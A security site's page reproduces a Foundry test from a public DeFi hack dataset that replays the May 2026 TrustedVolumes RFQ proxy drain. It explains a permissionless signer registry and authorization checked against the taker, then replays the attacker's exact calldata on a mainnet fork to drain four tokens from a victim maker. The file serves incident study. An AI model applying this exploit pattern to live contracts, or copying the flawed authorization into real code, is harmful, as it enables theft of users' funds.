Skip to content
THREATWIRE

Public reproduction file

src/test/2026-05/TrustedVolumes_exp.sol

Public reproduction file for dataset entry TrustedVolumes.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-05/TrustedVolumes_exp.sol189 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~$5.87M USD
8// (1,291.16 WETH + 206,282.45 USDT + 16.939 WBTC + 1,268,771.49 USDC)
9// Attacker / signer : 0xC3EBDdEa4f69df717a8f5c89e7cF20C1c0389100 (the registered "allowed order signer")
10// Attack Contract : 0xd4d5DB5EC65272b26F756712247281515f211e95 (created by the attack tx; acts as `taker`)
11// Vulnerable Contract : 0xeEeEEe53033F7227d488ae83a27Bc9A9D5051756 (TrustedVolumes RFQ settlement proxy)
12// -> delegatecalls implementation 0x88eb28009351Fb414A5746F5d8CA91cdc02760d8 (UNVERIFIED bytecode)
13// Victim (maker/resolver) : 0x9ba0cf1588e1dfa905ec948f7fe5104dd40eda31 (granted UNLIMITED approval to the proxy)
14// Attack Tx : 0xc5c61b3ac39d854773b9dc34bd0cdbc8b5bbf75f18551802a0b5881fcb990513
15// @Analysis
16// Attack date: May 7, 2026 Chain: Ethereum Block: 25039670 (tx index 8)
17// rekt.news: https://rekt.news/trustedvolumes-rekt
18// Analyses: https://www.darknavy.org/web3/exploits/trustedvolumes-rfq-proxy-drain/
19// https://blog.verichains.io/p/trustedvolumes-exploit-analysis
20//
21// Run:
22// forge test --contracts src/test/2026-05/TrustedVolumes_exp.sol --match-contract TrustedVolumesExploit -vv
23//
24// ---------------------------------------------------------------------------------------------------
25// Root cause (two-bug chain on an RFQ settlement contract):
26//
27// The proxy settles signed RFQ orders. An order says: maker gives `makerAmount` of `makerAsset` to the
28// taker, taker gives `takerAmount` of `takerAsset` to the maker; the maker (the party whose funds move
29// out via its standing approval to the proxy) must have signed/authorized the order. The maker can
30// delegate signing to another key via an "allowed order signer" registry.
31//
32// BUG #1 -- permissionless signer registration:
33// registerAllowedOrderSigner(address signer, bool allowed) selector 0xea7faa61
34// has ZERO access control. It writes _allowedOrderSigner[msg.sender][signer] = allowed.
35// Anyone can register any EOA as a valid signer *for their own key*.
36//
37// BUG #2 -- authorization keyed on the wrong party (taker, not maker):
38// The fill function (selector 0x4112e1c2) recovers the order signer with ecrecover, then checks
39// authorization as _allowedOrderSigner[order.taker][recoveredSigner] -- it uses the TAKER
40// (an attacker-controlled field) as the lookup key instead of the order.maker who actually owns
41// the funds. It then pulls makerAsset FROM order.maker via the maker's standing approval.
42//
43// Exploit: the attacker contract (= the taker) calls registerAllowedOrderSigner(attackerEOA, true),
44// which sets _allowedOrderSigner[taker][attackerEOA] = true. It then submits orders where:
45// maker = the victim resolver (0x9ba0..., which holds the assets and has unlimited approval to the proxy),
46// taker = the attacker contract,
47// makerAsset/makerAmount = the asset to steal (e.g. 1291 WETH),
48// takerAsset/takerAmount = USDC / 1 wei (the attacker pays 1 unit dust per order),
49// signature = signed by attackerEOA over the order.
50// Because authorization is checked against the taker key (which the attacker registered), the
51// attacker-signed orders pass even though the victim maker never approved them, and the maker's
52// approved balances are drained out. Four orders drain WETH, USDT, WBTC and USDC for ~$5.87M.
53//
54// ---------------------------------------------------------------------------------------------------
55// PoC method:
56// The settlement implementation is UNVERIFIED bytecode, so this PoC reproduces the hack by replaying the
57// attacker's EXACT on-chain calldata (the register call + the 4 signed fill orders, including the real
58// ECDSA signatures the attacker produced) against a fork pinned one block before the attack. We act as
59// the original attack contract address (the order `taker`) so the registry key and the signed `taker`
60// field line up. Replaying the genuine calldata is the faithful, deterministic way to demonstrate an
61// exploit on a contract whose source is not published.
63interface IRfqProxy {
64 // registerAllowedOrderSigner(address,bool) -- selector 0xea7faa61, NO access control (Bug #1)
65 function registerAllowedOrderSigner(address signer, bool allowed) external;
68contract TrustedVolumesExploit is Test {
69 address constant PROXY = 0xeEeEEe53033F7227d488ae83a27Bc9A9D5051756; // RFQ settlement proxy
70 address constant ATTACKER_EOA = 0xC3EBDdEa4f69df717a8f5c89e7cF20C1c0389100; // registered signer + final beneficiary
71 // The attacker's deployed contract from the real tx -- it is the order `taker` and the registry key.
72 // We impersonate this address so the on-chain signatures (which commit to taker = this address) verify.
73 address constant TAKER = 0xD4D5DB5EC65272B26F756712247281515F211E95;
74 address constant VICTIM_MAKER = 0x9bA0CF1588E1DFA905eC948F7FE5104dD40EDa31; // resolver with unlimited approval
76 IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
77 IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
78 IERC20 constant USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
79 IERC20 constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
81 uint256 constant ATTACK_BLOCK = 25_039_670;
83 // ---- Verbatim attacker calldata captured from the attack tx trace (eth_getTransactionByHash + debug trace) ----
85 // registerAllowedOrderSigner(0xC3EB...9100, true)
86 bytes constant CD_REGISTER =
87 hex"ea7faa61000000000000000000000000c3ebddea4f69df717a8f5c89e7cf20c1c03891000000000000000000000000000000000000000000000000000000000000000001";
89 // fill(order) 0x4112e1c2 -- order layout:
90 // [takerAsset, makerAsset, takerAmount, makerAmount, taker, maker, expiry, nonce, v, r, s, sigType]
91 // #1 drain 1,291.16 WETH (takerAsset USDC, makerAsset WETH, takerAmount 1)
92 bytes constant CD_FILL_WETH =
93 hex"4112e1c2000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000045fe75b854413cec06000000000000000000000000d4d5db5ec65272b26f756712247281515f211e950000000000000000000000009ba0cf1588e1dfa905ec948f7fe5104dd40eda310000000000000000000000000000000000000000000000000000000069fbe1480000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000001b4f6496eb7ebd74e91df255d580b631e48513f271c60994253411dcf2e1aeb4c00b1ad0f7ff67e96997d22b14aa0908b147b6b71bf76c3ef3f41a9c3a35eda6910000000000000000000000000000000000000000000000000000000000000002";
95 // #2 drain 206,282.45 USDT
96 bytes constant CD_FILL_USDT =
97 hex"4112e1c2000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec70000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000300764581c000000000000000000000000d4d5db5ec65272b26f756712247281515f211e950000000000000000000000009ba0cf1588e1dfa905ec948f7fe5104dd40eda310000000000000000000000000000000000000000000000000000000069fbe1480000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000001c957d7e01305f29e1b3c38169aa877e2e3d7250a25363231074f027462cebb0c243ee738d4a0abe1f96b78c82cefe32af7ba4ad064f270dd0bf417f33726f4bb80000000000000000000000000000000000000000000000000000000000000002";
99 // #3 drain 16.939 WBTC
100 bytes constant CD_FILL_WBTC =
101 hex"4112e1c2000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb480000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59900000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000064f705f7000000000000000000000000d4d5db5ec65272b26f756712247281515f211e950000000000000000000000009ba0cf1588e1dfa905ec948f7fe5104dd40eda310000000000000000000000000000000000000000000000000000000069fbe1480000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000001c39a0cb78995ca12d4999f1594e6fd0cc4c8ad9db63f268c38a6f5297806927c904190fdbb1d3a4aa8d58b5125ff293aa8888a9d7891b94dfcecd4500b27b9d270000000000000000000000000000000000000000000000000000000000000002";
103 // #4 drain 1,268,771.49 USDC (takerAsset USDC, makerAsset USDC)
104 bytes constant CD_FILL_USDC =
105 hex"4112e1c2000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4800000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000012768ac846f000000000000000000000000d4d5db5ec65272b26f756712247281515f211e950000000000000000000000009ba0cf1588e1dfa905ec948f7fe5104dd40eda310000000000000000000000000000000000000000000000000000000069fbe1480000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000001b4a4632981a75d969b349af56527c32e7c153c9e3a0ab6f2342b9ffab6fe099ba2bcba1cc93023924b884ed8855cb015a87b69010ed217f98e3c20433284519230000000000000000000000000000000000000000000000000000000000000002";
107 function setUp() public {
108 vm.createSelectFork("mainnet", ATTACK_BLOCK - 1);
109 vm.label(PROXY, "RFQ_Proxy");
110 vm.label(TAKER, "AttackContract(taker)");
111 vm.label(ATTACKER_EOA, "Attacker(signer)");
112 vm.label(VICTIM_MAKER, "VictimResolver(maker)");
113 vm.label(address(WETH), "WETH");
114 vm.label(address(USDC), "USDC");
115 vm.label(address(USDT), "USDT");
116 vm.label(address(WBTC), "WBTC");
117 }
119 function testExploit() public {
120 console.log("--- TrustedVolumes RFQ proxy drain (permissionless signer + wrong-key authorization) ---");
121 console.log("Attack date: May 7, 2026 Chain: Ethereum Block: %s\n", ATTACK_BLOCK);
123 // Victim maker holds the assets and has granted unlimited approval to the proxy.
124 uint256 mWeth = WETH.balanceOf(VICTIM_MAKER);
125 uint256 mUsdt = USDT.balanceOf(VICTIM_MAKER);
126 uint256 mWbtc = WBTC.balanceOf(VICTIM_MAKER);
127 uint256 mUsdc = USDC.balanceOf(VICTIM_MAKER);
128 console.log("Victim resolver approval to proxy (WETH):", WETH.allowance(VICTIM_MAKER, PROXY));
129 console.log("Victim resolver balances before:");
130 console.log(" WETH:", mWeth);
131 console.log(" USDT:", mUsdt);
132 console.log(" WBTC:", mWbtc);
133 console.log(" USDC:", mUsdc);
134 require(mWeth > 0 && mUsdc > 0, "victim has no funds at fork block");
136 // The attacker paid 1 wei USDC dust per order (4 total). Seed the taker with that dust + approval,
137 // exactly as the real attack contract did in its constructor.
138 deal(address(USDC), TAKER, 4);
140 // Everything below runs as the attack contract (the order `taker` / the registry key).
141 vm.startPrank(TAKER);
143 USDC.approve(PROXY, type(uint256).max);
145 // Bug #1: permissionless registration. The taker (an arbitrary attacker address, NOT the proxy owner
146 // and NOT the victim maker) registers the attacker EOA as an allowed signer for its own key.
147 (bool ok,) = PROXY.call(CD_REGISTER);
148 require(ok, "registerAllowedOrderSigner failed");
149 console.log("\n[Bug #1] registerAllowedOrderSigner(attackerEOA, true) succeeded with NO access control.");
151 // Bug #2: authorization is checked against order.taker, so these attacker-signed orders drain the
152 // victim maker's approved balances.
153 (ok,) = PROXY.call(CD_FILL_WETH);
154 require(ok, "fill WETH failed");
155 (ok,) = PROXY.call(CD_FILL_USDT);
156 require(ok, "fill USDT failed");
157 (ok,) = PROXY.call(CD_FILL_WBTC);
158 require(ok, "fill WBTC failed");
159 (ok,) = PROXY.call(CD_FILL_USDC);
160 require(ok, "fill USDC failed");
162 vm.stopPrank();
164 // Assets pulled out of the victim maker landed on the taker (the attack contract).
165 uint256 gotWeth = WETH.balanceOf(TAKER);
166 uint256 gotUsdt = USDT.balanceOf(TAKER);
167 uint256 gotWbtc = WBTC.balanceOf(TAKER);
168 uint256 gotUsdc = USDC.balanceOf(TAKER);
170 console.log("\n[Bug #2] Attacker-signed orders accepted; victim maker drained.");
171 console.log("Stolen by attack contract:");
172 console.log(" WETH:", gotWeth);
173 console.log(" USDT:", gotUsdt);
174 console.log(" WBTC:", gotWbtc);
175 console.log(" USDC:", gotUsdc);
177 console.log("\nApprox USD value (round figures): ~$5.87M");
179 // The victim maker lost each asset; the attacker received it.
180 assertApproxEqAbs(WETH.balanceOf(VICTIM_MAKER), mWeth - gotWeth, 0, "WETH not drained from maker");
181 assertApproxEqAbs(WBTC.balanceOf(VICTIM_MAKER), mWbtc - gotWbtc, 0, "WBTC not drained from maker");
182 assertEq(gotWeth, 0x45fe75b854413cec06, "unexpected WETH amount"); // 1,291.16 WETH
183 assertEq(gotUsdt, 0x300764581c, "unexpected USDT amount"); // 206,282.45 USDT
184 assertEq(gotWbtc, 0x64f705f7, "unexpected WBTC amount"); // 16.939 WBTC
185 assertGt(gotUsdc, 1_268_000e6, "unexpected USDC amount"); // ~1,268,771 USDC (minus 4 wei dust paid)
187 console.log("\nExploit reproduced: unlimited maker approval + permissionless signer + wrong-key auth = full drain.");
188 }

Analysis

Dataset entry

Public Foundry test for “TrustedVolumes” (2026-05-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc3ebddea4f69df717a8f5c89e7cf20c1c0389100

  • Attack Contract

    0xd4d5db5ec65272b26f756712247281515f211e95

  • Vulnerable Contract

    0xeeeeee53033f7227d488ae83a27bc9a9d5051756

  • Victim

    0x9ba0cf1588e1dfa905ec948f7fe5104dd40eda31

  • Attack Tx

    0xc5c61b3ac39d854773b9dc34bd0cdbc8b5bbf75f18551802a0b5881fcb990513

File record

Name
TrustedVolumes
Path
src/test/2026-05/TrustedVolumes_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
0d5168824cdcabeb4f72926912eb35f955f8d992
Language
Solidity
Size
190 lines
Date
2026-05-07
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-05/TrustedVolumes_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0d5168824cdcabeb4f72926912eb35f955f8d992, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.